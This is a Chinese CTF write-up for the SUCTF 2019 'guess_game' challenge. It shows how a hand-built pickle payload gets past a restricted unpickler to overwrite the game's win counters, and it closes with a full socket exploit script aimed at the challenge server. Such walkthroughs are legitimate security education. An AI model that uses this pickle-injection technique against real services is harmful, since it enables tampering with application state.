Text.
Text.
该题在BUU上有复现环境,是一道MISC题,但考点涉及了python pickle反序列化
这是一道猜数游戏,10 以内的数字,猜对十次就返回 flag。源码如下:
https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game
# file: Ticket.py class Ticket: def __init__(self, number): self.number = number def __eq__(self, other): if type(self) == type(other) and self.number == other.number: return True else: return False def is_valid(self): assert type(self.number) == int if number_range >= self.number >= 0: return True else: return False # file: game_client.py(关键部分代码) number = input('Input the number you guess\n> ') ticket = Ticket(number) ticket = pickle.dumps(ticket) writer.write(pack_length(len(ticket))) writer.write(ticket)
client 端接收数字输入,生成的 Ticket 对象序列化后发送给 server 端。
# file: game_server.py 有删减 from guess_game.Ticket import Ticket from guess_game.RestrictedUnpickler import restricted_loads from struct import unpack from guess_game import game import sys while not game.finished(): ticket = stdin_read(length) ticket = restricted_loads(ticket) assert type(ticket) == Ticket if not ticket.is_valid(): print('The number is invalid.') game.next_game(Ticket(-1)) continue win = game.next_game(ticket) if win: text = "Congratulations, you get the right number!" else: text = "Wrong number, better luck next time." print(text) if game.is_win(): text = "Game over! You win all the rounds, here is your flag %s" % flag else: text = "Game over! You got %d/%d." % (game.win_count, game.round_count) print(text) # file: RestrictedUnpickler.py 对引入的模块进行检测 class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): # Only allow safe classes if "guess_game" == module[0:10] and "__" not in name: return getattr(sys.modules[module], name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
server 端将接收到的数据进行反序列,这里与常规的 pickle.loads 不同,采用的是 Python 提供的安全措施。也就是说,导入的模块只能以 guess_name 开头,并且名称里不能含有 __
查看猜对条件,可以看出就是判断ticket.number是否相等,相等就使 win_count+1(game.py)
Ticket.py
查看胜利条件,意思是胜利次数==最大轮数,而最大轮数是10,所以就是要全胜
Game.py
而max_round和number_range定义在__init__.py里了
所以捋一下思路:我们的目的可以让win_count=10,round_count=10满足条件
手动构造
cguess_game game }S'round_count' I10 sS'win_count' I10 sb
其中,} 是往 stack 中压入一个空 dict,s 是将键值对插入到 dict。但是到这里还没有做完,题目代码中还有一个小验证,assert type(ticket) == Ticket。
pickle 序列流执行完后将把栈顶的值返回,结尾需要再留一个 Ticket 的对象
import pickle class Ticket: def __init__(self, number): self.number = number def __eq__(self, other): if type(self) == type(other) and self.number == other.number: return True else: return False def is_valid(self): assert type(self.number) == int if max_round >= self.number >= 0: return True else: return False ticket = Ticket(6) res = pickle.dumps(ticket) # 这里不能再用 0 号协议,否则会出现 ccopy_reg\n_reconstructor print(res) #b'\x80\x03c__main__\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb.'
最后再拼接一个Ticket序列化对象,exp如下
import pickle import socket import struct s = socket.socket() # s.connect(('172.17.0.2', 9999)) s.connect(('node3.buuoj.cn', 25439)) exp = b'''cguess_game game }S"win_count" I10 sS"round_count" I9 sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x01sb. ''' s.send(struct.pack('>I', len(exp))) s.send(exp) print(s.recv(1024)) print(s.recv(1024)) print(s.recv(1024)) print(s.recv(1024))
文章参考